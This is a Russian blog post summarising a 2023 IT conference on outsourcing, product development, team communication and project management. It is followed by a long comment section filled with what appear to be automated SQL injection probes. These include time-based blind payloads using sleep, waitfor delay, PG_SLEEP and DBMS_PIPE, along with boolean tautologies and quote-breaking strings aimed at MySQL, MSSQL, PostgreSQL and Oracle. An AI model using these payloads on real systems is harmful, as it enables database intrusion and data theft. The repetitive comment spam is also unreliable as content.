Симулякр итогов с Ural Digital Weekend 2023

С 3 по 5 августа провел с коллегами в Перми на Ural Digital Weekend 2023. Ничего не ждал и был удивлен уровнем организации, фестивальной атмосферой и кучей топов из заказной разработки.

Чтобы не пропало, делюсь заметками с поездки:

Общее

  1. Важность препати на профильных конференциях была мною сильно недооценена
  2. Критически важно выходить с уровня бизнес-заказчика на уровень топ-менеджеров и владельцев, чтобы не терять контакт с клиентом из-за смены менеджмента. И в дополнение — регулярно собирать обратную связь от топ-менеджеров и владельцев, чтобы реально оценивать ценность которую вы доносите до бизнеса клиента
  3. Отчеты для T&M-контрактов можно делать на BI — реалтайм-обновление и полная прозрачность
  4. Первый месяц можно продавать по постоплате, чтобы снизить риски клиента (интересная мысль, но не сталкивался с таким возражением на пресейле)
  5. Мало экспертизы на этапе продажи не бывает

Разработка своих продуктов

  1. Значимые тренды рынка энтерпрайз-систем
    • Освободилась существенная доля рынка из-за ухода зарубежных продуктов (нужны замены ушедших систем)
    • Технические тренды: микросервисы, lowcode/nocode стек, RPA
    • Господдержка импортозамещения
    • Самописные внутренние разработки крупных игроков
    • Риски потери кадров (релокация, конкуренция за ИТ-кадры)
    • Новые продукты крупных российских интеграторов
    • Монетизация собственных решений
  2. Не получится сделать продукт из готового решения, которое разрабатывалось под конкретного заказчика. Но для поиска «болей» рынка и формирования плана по развитию такого продукта можно использовать привычный Jobs To Be Done и мало известный Pain Chain
  3. Почему здорово делать продукт с клиентом:
    • Глубочаяшая отраслевая экспертиза
    • Выходы на всех ЛПР в отрасли
  4. Почему клиенту здорово делать продукт с агентством:
    • Экспертиза в разработке
    • Умение продавать ИТ-решения
    • Понимание того что такое клиентский сервис в ИТ (продукт может требовать внедрения)
    • Гибкость (агентство всегда меньше и быстрее)
  5. Обратная сторона продуктовой разработки
    • Очень сложно найти первых клиентов, свою кор-аудиторию
    • Высасывает ресурсы (деньги и людей)
    • Размывается фокус внимания
    • Расходы сложнее планировать
    • Расхолаживает команду, после клиентских проектов
    • Сложно контролировать команду, если делаешь продукт бенчем (так не надо делать)
  6. Рекомендации по организации запуска продукта
    • Жестко фиксировать этапы и бюджеты на свои продукты. Будьте готовы потерять эти деньги
    • Учитывайте все затраты на разработку, в том числе косвенные затраты и упущенную прбыль
    • Подумайте как будете использовать продукт, если он не взлетит
    • Выделенная команда и четкие роли в ней
    • Выделен ответственный за продукт (визионер) с четкими, прописанными KPI. Найдите человека, который будет думать о продукте всё время (не пол дня).
    • Ответственный за продукт — не просто продакт, это драйвер процесса. Зачастую это должен быть СЕО\СОО\партнер — очень замотивированный предстаитель отдельного бизнес-юнита. Поэтому начать стоит с драйвера, тогда будет все чуть проще.
    • Относитетсь к продукту как к заказчику своего агентства.
    • Четко поставлены цели: smart, harvest, mece
    • Продукт и основной бизнес не соперничают друг с другом
    • 10 раз убедиться что за продуктом стоит реальная боль, а не фантазии (даже если это фантазии самых главных людей в компании). Убедитесь, что сфера продукта близка вашему агентству
    • Проработайте бизнес-модель, не смешивайте ее с агентской моделю
    • Рассказывайте о продукте и том, как его делаете
  7. С какими клиентами будет сложно прийти к продуктовой разработке:
    • Если нет процессов продуктовой разработки или текущее понимание больше на стороне заказчика
    • Работаем по спринтам, но не видим смысла в бизнес-аналитике или системном аналитике. Заказчик не подпускает подрядчика к внутренней кухне, работаем в режиме черного ящика (ВА, привет)
    • Продукт не совсем продукт, не приносит ценности бизнесу, обречен на правал
  8. С какими клиентами возможно прийти к модели продуктовой разработки:
    • Если у заказчика есть фреймворк продуктовой разработки и он внедрен хотя бы частично
    • Заказчик понимает ценность продукта и имеет план развития
    • Заказчик умеет пользоваться всеми инструментами аутсорса
  9. Если продукт не развивается — не увеличивается бюджет на его развитие.
  10. Как устранить раскол между ИТ и бизнесом — путь к успеху агентства:
    • Не пытаться занимать только одну из сторон (важно всё и сразу: делать важные для продукта задачи, по правильному процессу и быстро, чтобы бизнес возвращать инвестиции)
    • Объяснять бизнесу почему в долгосрочной перспективе нужно учиться слыть ИТ: архитекторов, лидов и СТО
    • Снабдить ИТ бизнесовой фактурой для продажи своих позиций, сделать ИТ-метрики управляемыми
    • Помочь ИТ лучше отвечать требованиям бизнеса, а бизнесу предоставить для ИТ требования в понятном виде
  11. Фреймворк продуктовой разработки, который должен настраиваться и постоянно адаптироваться, чтобы минимизировать ТТМ:
Этап Бизнес-инициатива или гипотеза Оценка и приоритизация Бизнес-анализ Системный анализ Разработка
Кто Кто угодно: стейкхолдеры, СЕО, владелец продукта Лид разработки, БА, Владелец продукта БА, Владелец продукта, РП, ITBP, стейкхолдеры Лид разработки, Владелец продукта, РП Лид разработки, РП
С каким результатом Сделаем что-то что сделает продукт более ценным для потребителей с целью увеличения бизнеса Понимаем сложность и сроки в попугаях, понимаем профит, приоритизируем Декомпозированные бизнес-требования, CJM, EJM, описанный бизнес-процесс. Дизайн, UX, ограничения Техническое решение, декомпозиция задач, в том числе по системам, беклог готовых, оцененных и готовых к разработке задач Задачи в рамках изначальных БТ, готовые к релизам (или UAT\AB\E2E) во всех системах
Пример Если мы автоматизируем процесс оформления заказа — улучшим SLA дял клиентов, сэкономим Х рублей на операционных затратах Клиенты смогут оформить заказ в любое время суток, бизнес сэкономит и высвободит операционного ресурса на 20 млн в год Осознание, что требуется доработка в 5 бэкенд-системах, юридические и финансовые аспекты улажены, готов дизайн, описан процесс, посчитан P&L Эпик или сторя, в который собраны все задачи с оценками. Осталось только положить в спринты по системам согласно приоритетам Команда разработки готова провести демо нового функционала бизнесу и готова к отгрузке на бой

Команда

  1. Для создания эффективной команды нужны единая цель, где каждый преследует цель компании и взаимодействует друг с другом
  2. Почему командная работа решает на уровне задач Complex (об этом чуть ниже):
    • Делает возможным решение задач, что не под силу одному человеку
    • Является гарантией, что будут учитываться интересы всех сторон
    • Понижается риск принятия ошибочных решений
    • Помогает бороться с производственной слепотой
  3. Чтобы у команды появилась сопричастность к происходящему, сопереживание проблемам, поддержка и продвижение изменений, повышения доверия и генерация идей — она должна быть плотно интегрирована в то, что у компании происходит и наоборот. Для этого существует точки для сбора и передачи информации, дальше об этом
  4. Какие могут быть точки для сбора информации:
    • 1-2-1 RM
    • 1-2-1 HR
    • 360
    • Командные встречи
    • Чаты
    • Эскалации
    • Perfomance review
    • Проектные ретро
    • Неофициальные встречи
  5. А какие системы передачи информации:
    • Планерки топов (еженедельно)
    • Планерки менеджмента (каждые 2 недели)
    • Планерки отделов (каждые 2 недели)
    • Общая встреча компании (квартальные, годовая)
    • Мероприятия по изменениям
    • Личные встречи
    • Дополнительные: почтовые рассылки (nda\not nda), телеграмм-канал, общий чат в телеге, сессии Q&A.
  6. О чем компания может делиться с менеджментом:
    • Всё и максимально открыто
    • Продавать прототипы изменений и собирать обратную связь
    • Просить задавать неудобные вопросы
    • Рассказывать о возможностях и искать лидеров
    • Показывать проблемы и искать совместные решения
  7. О чем компании стоит делиться со всеми:
    • Об изменениях (которые уже поддерживает менеджмент)
    • Проблемы — с решениями от менеджмента
    • Возможности — с запросом на участие
    • Выручку, прибыль — в процентах

Проекты

  1. Каскадная модель производства драматически снижает вероятность успеха проекта
  2. Cynefin framework https://ru.wikipedia.org/wiki/Cynefin_framework — как концептуальная основа для принятия решений:
    • Obvious. Применяйте «Best Practice». Задачи ясны, решения очевидны, следуйте установленным процедурам.
    • Complicated. Применяйте «Good Practice» или экспертные мнения. Возможно несколько правильных решений
    • Complex. Проведите эксперименты и используйте «Emergent Practice». Тут нет очевидных решений, выясните правильный подход через пробу и ошибку.
    • Chaotic. Действуйте сразу для стабилизации ситуации, затем изучайте и отвечайте на изменения. Нужно немедленно действовать.
  3. В разработке нетиповых решений часто приходится решать задачи уровня Complicated и Complex, поэтому взвешивайте решения. Complicated — это граница проектной деятельности, начиная с Complex — это задачи в зоне эмпирической деятельности, а значит мы не можем говорить о каскадной модели и вотерфоле для таких решений. Это всё Симулякр плана, как выразился Глеб Михеев :-)
  4. Иногда стоит принять, что ты не можешь определить точные требования и вместо требований определить цель и ключевые результаты (это, кстати, пересекается с тем что говорят ребята из Бюро про ФФФ). Это зона неопределенности, её невозможно спланировать. Это зона командной работы.
  5. Что пропагандирует аджайл:
    • Люди и взаимодействие важнее процессов и инструментов
    • Работающий продукт важнее исчерпывающей документации
    • Сотрудничество с заказчиком важнее согласования условий контракта
    • Готовность к изменениям важнее следования первоначальному плану
  6. В аджайле развитие. Аджайт создает продукт, ватерфолл его воспроизводит
  7. Немного о концепции Run-Change-Disrupt

На кого подписался после конфы

  1. https://t.me/panfilovonline Пишет про запуск digital-проектов и IT-инструменты для бизнеса
  2. https://t.me/rukovozhu Виктор Рындин: CEO @Wemakefab & @Dprofileru
  3. https://t.me/tired_glebmikheev Глеб Михеев, просто поток сознания на стыке менеджмента и ИТ, я влюбился
  4. @dpletnev. Дима Плетнев. Но он ничего в паблик почему-то не пишет, приходится писать в личку
  5. https://t.me/successfulproduct Сергей Пращенко, про продакт дискавери вообще и в энтерпрайзе в частности (самый недооцененный доклад, потому что было жутко интересно, но все выдохлись)

Ну и посмотрите запись трансляции, очень много достойных лекций:

Подписаться на блог
Отправить
Поделиться
Запинить
Дальше
206 комментариев
GQDWBdMu 9 дн

-1’ OR 3+491-491-1=0+0+0+1 or ’cFN4wIHD’=’

GQDWBdMu 9 дн

-1» OR 2+951-951-1=0+0+0+1 —

GQDWBdMu 9 дн

-1» OR 3+951-951-1=0+0+0+1 —

GQDWBdMu 9 дн

1*if(now()=sysdate(),sleep(15),0)

GQDWBdMu 9 дн

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

GQDWBdMu 9 дн

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

GQDWBdMu 9 дн

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

GQDWBdMu 9 дн

1-1; waitfor delay ’0:0:15’ —

GQDWBdMu 9 дн

1-1); waitfor delay ’0:0:15’ —

GQDWBdMu 9 дн

1-1 waitfor delay ’0:0:15’ —

GQDWBdMu 9 дн

1Y4E55Ipb’; waitfor delay ’0:0:15’ —

GQDWBdMu 9 дн

1-1 OR 758=(SELECT 758 FROM PG_SLEEP(15))—

GQDWBdMu 9 дн

1-1) OR 892=(SELECT 892 FROM PG_SLEEP(15))—

GQDWBdMu 9 дн

1-1)) OR 249=(SELECT 249 FROM PG_SLEEP(15))—

GQDWBdMu 9 дн

1u620qVpU’ OR 719=(SELECT 719 FROM PG_SLEEP(15))—

GQDWBdMu 9 дн

1jyin3dEF’) OR 475=(SELECT 475 FROM PG_SLEEP(15))—

GQDWBdMu 9 дн

1HWMsKXQ0’)) OR 797=(SELECT 797 FROM PG_SLEEP(15))—

GQDWBdMu 9 дн

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

GQDWBdMu 9 дн

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

GQDWBdMu 9 дн

’»

DahJTkfw 9 дн

1DiTUCDp7

DahJTkfw 9 дн

1

DahJTkfw 9 дн

-1 OR 2+703-703-1=0+0+0+1 —

DahJTkfw 9 дн

-1 OR 3+703-703-1=0+0+0+1 —

DahJTkfw 9 дн

-1 OR 2+388-388-1=0+0+0+1

DahJTkfw 9 дн

-1 OR 3+388-388-1=0+0+0+1

DahJTkfw 9 дн

-1’ OR 2+514-514-1=0+0+0+1 —

DahJTkfw 9 дн

-1’ OR 3+514-514-1=0+0+0+1 —

DahJTkfw 9 дн

-1’ OR 2+662-662-1=0+0+0+1 or ’FI0M4r0x’=’

DahJTkfw 9 дн

-1’ OR 3+662-662-1=0+0+0+1 or ’FI0M4r0x’=’

DahJTkfw 9 дн

-1» OR 2+610-610-1=0+0+0+1 —

DahJTkfw 9 дн

-1» OR 3+610-610-1=0+0+0+1 —

DahJTkfw 9 дн

’»

DahJTkfw 9 дн

@@IrWRu

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1jmzXLivx

DahJTkfw 9 дн

1

DahJTkfw 9 дн

-1 OR 2+144-144-1=0+0+0+1 —

DahJTkfw 9 дн

-1 OR 3+144-144-1=0+0+0+1 —

DahJTkfw 9 дн

-1 OR 2+803-803-1=0+0+0+1

DahJTkfw 9 дн

-1 OR 3+803-803-1=0+0+0+1

DahJTkfw 9 дн

-1’ OR 2+192-192-1=0+0+0+1 —

DahJTkfw 9 дн

-1’ OR 3+192-192-1=0+0+0+1 —

DahJTkfw 9 дн

-1’ OR 2+555-555-1=0+0+0+1 or ’EjGEGeia’=’

DahJTkfw 9 дн

-1’ OR 3+555-555-1=0+0+0+1 or ’EjGEGeia’=’

DahJTkfw 9 дн

-1» OR 2+891-891-1=0+0+0+1 —

DahJTkfw 9 дн

1

DahJTkfw 9 дн

-1» OR 3+891-891-1=0+0+0+1 —

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1*if(now()=sysdate(),sleep(15),0)

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1*if(now()=sysdate(),sleep(3),0)

DahJTkfw 9 дн

1*if(now()=sysdate(),sleep(0),0)

DahJTkfw 9 дн

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

DahJTkfw 9 дн

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

DahJTkfw 9 дн

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

DahJTkfw 9 дн

1-1; waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1-1); waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1-1 waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1HxeJDCTC’; waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1-1 OR 72=(SELECT 72 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1) OR 97=(SELECT 97 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1)) OR 486=(SELECT 486 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1NpXaO0K4’ OR 916=(SELECT 916 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1vsl8aW3T’) OR 24=(SELECT 24 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

10aI6Le21’)) OR 321=(SELECT 321 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

DahJTkfw 9 дн

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

DahJTkfw 9 дн

’»

DahJTkfw 9 дн

@@aIAGL

DahJTkfw 9 дн

1

DahJTkfw 9 дн

-1 OR 2+318-318-1=0+0+0+1 —

DahJTkfw 9 дн

-1 OR 3+318-318-1=0+0+0+1 —

DahJTkfw 9 дн

-1 OR 2+894-894-1=0+0+0+1

DahJTkfw 9 дн

-1 OR 3+894-894-1=0+0+0+1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

-1’ OR 2+864-864-1=0+0+0+1 —

DahJTkfw 9 дн

-1’ OR 3+864-864-1=0+0+0+1 —

DahJTkfw 9 дн

1

DahJTkfw 9 дн

-1’ OR 2+652-652-1=0+0+0+1 or ’gRrxV9XN’=’

DahJTkfw 9 дн

-1 OR 2+800-800-1=0+0+0+1 —

DahJTkfw 9 дн

-1’ OR 3+652-652-1=0+0+0+1 or ’gRrxV9XN’=’

DahJTkfw 9 дн

-1 OR 2+471-471-1=0+0+0+1

DahJTkfw 9 дн

-1’ OR 2+183-183-1=0+0+0+1 —

DahJTkfw 9 дн

-1» OR 2+255-255-1=0+0+0+1 —

DahJTkfw 9 дн

-1’ OR 2+665-665-1=0+0+0+1 or ’OXxq6Zkw’=’

DahJTkfw 9 дн

-1» OR 3+255-255-1=0+0+0+1 —

DahJTkfw 9 дн

-1» OR 2+281-281-1=0+0+0+1 —

DahJTkfw 9 дн

1*if(now()=sysdate(),sleep(15),0)

DahJTkfw 9 дн

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

DahJTkfw 9 дн

1*if(now()=sysdate(),sleep(15),0)

DahJTkfw 9 дн

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

DahJTkfw 9 дн

1*if(now()=sysdate(),sleep(6),0)

DahJTkfw 9 дн

10«XOR(1*if(now()=sysdate(),sleep(20.432),0))XOR»Z

DahJTkfw 9 дн

1*if(now()=sysdate(),sleep(3),0)

DahJTkfw 9 дн

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

DahJTkfw 9 дн

1*if(now()=sysdate(),sleep(0),0)

DahJTkfw 9 дн

1-1; waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

DahJTkfw 9 дн

1-1); waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

DahJTkfw 9 дн

1-1 waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

19gaJ7r1h’; waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

DahJTkfw 9 дн

1-1 OR 338=(SELECT 338 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1; waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1-1) OR 619=(SELECT 619 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1); waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1-1)) OR 124=(SELECT 124 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1 waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1-1)) OR 126=(SELECT 126 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1u8REujpO’; waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1eOO4VZtb’ OR 27=(SELECT 27 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1 OR 129=(SELECT 129 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1tPVJV0Uf’) OR 652=(SELECT 652 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1) OR 975=(SELECT 975 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

11dXKYeAl’)) OR 922=(SELECT 922 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1)) OR 456=(SELECT 456 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

DahJTkfw 9 дн

1Hoq1xuPp’ OR 881=(SELECT 881 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

DahJTkfw 9 дн

1Cqg2WzSE’) OR 216=(SELECT 216 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

’»

DahJTkfw 9 дн

@@FLs15

DahJTkfw 9 дн

1eIUH3e3v’)) OR 243=(SELECT 243 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

DahJTkfw 9 дн

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),3)

DahJTkfw 9 дн

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),6)

DahJTkfw 9 дн

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

DahJTkfw 9 дн

’»

DahJTkfw 9 дн

@@kWzoI

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1ZuHM8SPK

DahJTkfw 9 дн

1

DahJTkfw 9 дн

-1 OR 2+162-162-1=0+0+0+1 —

DahJTkfw 9 дн

-1 OR 3+162-162-1=0+0+0+1 —

DahJTkfw 9 дн

-1 OR 2+541-541-1=0+0+0+1

DahJTkfw 9 дн

-1 OR 3+541-541-1=0+0+0+1

DahJTkfw 9 дн

-1’ OR 2+53-53-1=0+0+0+1 —

DahJTkfw 9 дн

-1’ OR 3+53-53-1=0+0+0+1 —

DahJTkfw 9 дн

-1’ OR 2+529-529-1=0+0+0+1 or ’s6lUEQt4’=’

DahJTkfw 9 дн

-1’ OR 3+529-529-1=0+0+0+1 or ’s6lUEQt4’=’

DahJTkfw 9 дн

-1» OR 2+422-422-1=0+0+0+1 —

DahJTkfw 9 дн

-1» OR 3+422-422-1=0+0+0+1 —

DahJTkfw 9 дн

1*if(now()=sysdate(),sleep(15),0)

DahJTkfw 9 дн

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

DahJTkfw 9 дн

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

DahJTkfw 9 дн

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

DahJTkfw 9 дн

1-1; waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1-1); waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1-1 waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1BfaTmwrN’; waitfor delay ’0:0:15’ —

DahJTkfw 9 дн

1-1 OR 613=(SELECT 613 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1) OR 728=(SELECT 728 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1-1)) OR 29=(SELECT 29 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1HbykHA5O’ OR 731=(SELECT 731 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1NCD9OkaB’) OR 702=(SELECT 702 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1b3HWu6Zw’)) OR 167=(SELECT 167 FROM PG_SLEEP(15))—

DahJTkfw 9 дн

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

DahJTkfw 9 дн

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

DahJTkfw 9 дн

1’»

DahJTkfw 9 дн

@@bYDDL

DahJTkfw 9 дн

1

-1 OR 2+234-234-1=0+0+0+1 -- 9 дн

1

-1 OR 2+619-619-1=0+0+0+1 9 дн

1

-1' OR 2+971-971-1=0+0+0+1 -- 9 дн

1

-1' OR 2+226-226-1=0+0+0+1 or 'fUiBJW7o'=' 9 дн

1

-1" OR 2+461-461-1=0+0+0+1 -- 9 дн

1

if(now()=sysdate(),sleep(15),0) 9 дн

1

DahJTkfw0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 9 дн

1

DahJTkfw0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 9 дн

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 9 дн

1

DahJTkfw-1 waitfor delay '0:0:15' -- 9 дн

1

DahJTkfwBFEssHL5'; waitfor delay '0:0:15' -- 9 дн

1

DahJTkfwMKWGynlF' OR 621=(SELECT 621 FROM PG_SLEEP(15))-- 9 дн

1

DahJTkfwTRmaOxlx') OR 998=(SELECT 998 FROM PG_SLEEP(15))-- 9 дн

1

DahJTkfwmycwmum1')) OR 355=(SELECT 355 FROM PG_SLEEP(15))-- 9 дн

1

DahJTkfw'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 9 дн

1

DahJTkfw'" 9 дн

1

@@PCax2 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1

DahJTkfw 9 дн

1